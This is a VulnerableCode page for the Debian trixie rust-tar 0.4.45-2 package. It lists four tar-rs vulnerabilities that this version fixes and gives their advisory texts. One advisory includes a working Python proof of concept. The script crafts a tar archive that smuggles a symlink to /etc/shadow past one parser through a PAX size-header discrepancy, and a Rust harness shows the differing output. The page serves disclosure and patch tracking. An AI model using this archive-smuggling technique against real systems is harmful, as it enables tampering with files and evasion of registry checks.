VulnerableCode Package Details - pkg:deb/debian/rust-tar@0.4.45-2?distro=trixie

Vulnerability	Summary	Fixed by
This package is not known to be affected by vulnerabilities.

Vulnerabilities fixed by this package (4)

Vulnerability	Summary	Aliases
VCID-88p2-xuah-2ygr	Links in archive can create arbitrary directories When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point.	CVE-2021-38511 GHSA-62jx-8vmh-4mcw
VCID-ehdy-7aak-r3bt	tar-rs incorrectly ignores PAX size headers if header size is nonzero ### Summary As part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. However, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue. The problem here is that any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override. ### Details https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344 ### PoC (originally posted by https://github.com/xokdvium) > I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links: It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`. https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344 ```python #!/usr/bin/env python3 B = 512 def pad(d): r = len(d) % B return d + b"\0" * (B - r) if r else d def hdr(name, size, typ=b"0", link=b""): h = bytearray(B) h[0 : len(name)] = name h[100:107] = b"0000644" h[108:115] = h[116:123] = b"0001000" h[124:135] = f"{size:011o}".encode() h[136:147] = b"00000000000" h[148:156] = b" " h[156:157] = typ if link: h[157 : 157 + len(link)] = link h[257:263] = b"ustar\x00" h[263:265] = b"00" h[148:155] = f"{sum(h):06o}\x00".encode() return bytes(h) INFLATED = 2048 pax_rec = b"13 size=2048\n" ar = bytearray() ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x") ar += pad(pax_rec) content = b"regular\n" ar += hdr(b"regular.txt", len(content)) mark = len(ar) ar += pad(content) ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow") ar += b"\0" * B * 2 used = len(ar) - mark if used < INFLATED: ar += b"\0" * (((INFLATED - used + B - 1) // B) * B) ar += b"\0" * B * 2 open("smuggle.tar", "wb").write(bytes(ar)) ``` `tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it). ```rust use std::fs; use std::path::PathBuf; fn sync_parse(data: &[u8]) { println!("tar:"); let mut ar = tar::Archive::new(data); for e in ar.entries().unwrap() { let e = e.unwrap(); let path = e.path().unwrap().to_path_buf(); let kind = e.header().entry_type(); let link: Option<PathBuf> = e.link_name().ok().flatten().map(\|l\| l.to_path_buf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); } async fn async_parse(data: Vec<u8>) { println!("astral-tokio-tar:"); let mut ar = tokio_tar::Archive::new(data.as_slice()); let mut entries = ar.entries().unwrap(); while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await { let e = e.unwrap(); let path = e.path().unwrap().to_path_buf(); let kind = e.header().entry_type(); let link: Option<PathBuf> = e.link_name().ok().flatten().map(\|l\| l.to_path_buf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); } #[tokio::main] async fn main() { let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into()); let data = fs::read(&path).unwrap(); sync_parse(&data); async_parse(data).await; } ``` ``` tar: regular.txt Regular smuggled Symlink -> /etc/shadow astral-tokio-tar: regular.txt Regular ``` ### Impact This can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`.	CVE-2026-33055 GHSA-gchp-q4r4-x4ff
VCID-qj1y-b8m1-hyfm	tar-rs `unpack_in` can chmod arbitrary directories by following symlinks ## Summary When unpacking a tar archive, the `tar` crate's `unpack_dir` function uses `fs::metadata()` to check whether a path that already exists is a directory. Because `fs::metadata()` follows symbolic links, a crafted tarball containing a symlink entry followed by a directory entry with the same name causes the crate to treat the symlink target as a valid existing directory — and subsequently apply `chmod` to it. This allows an attacker to modify the permissions of arbitrary directories outside the extraction root. ## Reproducer A malicious tarball contains two entries: (1) a symlink `foo` pointing to an arbitrary external directory, and (2) a directory entry `foo/.` (or just `foo`). When unpacked, `create_dir("foo")` fails with `EEXIST` because the symlink is already on disk. The `fs::metadata()` check then follows the symlink, sees a directory at the target, and allows processing to continue. The directory entry's mode bits are then applied via `chmod`, which also follows the symlink — modifying the permissions of the external target directory. ## Fix The fix is very simple, we now use `fs::symlink_metadata()` in `unpack_dir`, so symlinks are detected and rejected rather than followed. ## Credit This issue was reported by @xokdvium - thank you!	CVE-2026-33056 GHSA-j4xf-2g29-59ph
VCID-tenv-z949-pya9	Arbitrary file overwrite in tar-rs When unpacking a tarball with the unpack_in-family of functions it's intended that only files within the specified directory are able to be written. Tarballs with hard links or symlinks, however, can be used to overwrite any file on the filesystem. Tarballs can contain multiple entries for the same file. A tarball which first contains an entry for a hard link or symlink pointing to any file on the filesystem will have the link created, and then afterwards if the same file is listed in the tarball the hard link will be rewritten and any file can be rewritten on the filesystem.	CVE-2018-20990 GHSA-2367-c296-3mp2

Date	Actor	Action	Vulnerability	Source	VulnerableCode Version
2026-04-16T13:29:04.881918+00:00	Debian Importer	Fixing	VCID-tenv-z949-pya9	https://security-tracker.debian.org/tracker/data/json	38.4.0
2026-04-13T09:18:19.993557+00:00	Debian Importer	Fixing	VCID-tenv-z949-pya9	https://security-tracker.debian.org/tracker/data/json	38.3.0
2026-04-03T07:52:33.186457+00:00	Debian Importer	Fixing	VCID-qj1y-b8m1-hyfm	https://security-tracker.debian.org/tracker/data/json	38.1.0
2026-04-03T07:52:33.139326+00:00	Debian Importer	Fixing	VCID-ehdy-7aak-r3bt	https://security-tracker.debian.org/tracker/data/json	38.1.0
2026-04-03T07:52:33.099320+00:00	Debian Importer	Fixing	VCID-88p2-xuah-2ygr	https://security-tracker.debian.org/tracker/data/json	38.1.0
2026-04-03T07:52:33.048103+00:00	Debian Importer	Fixing	VCID-tenv-z949-pya9	https://security-tracker.debian.org/tracker/data/json	38.1.0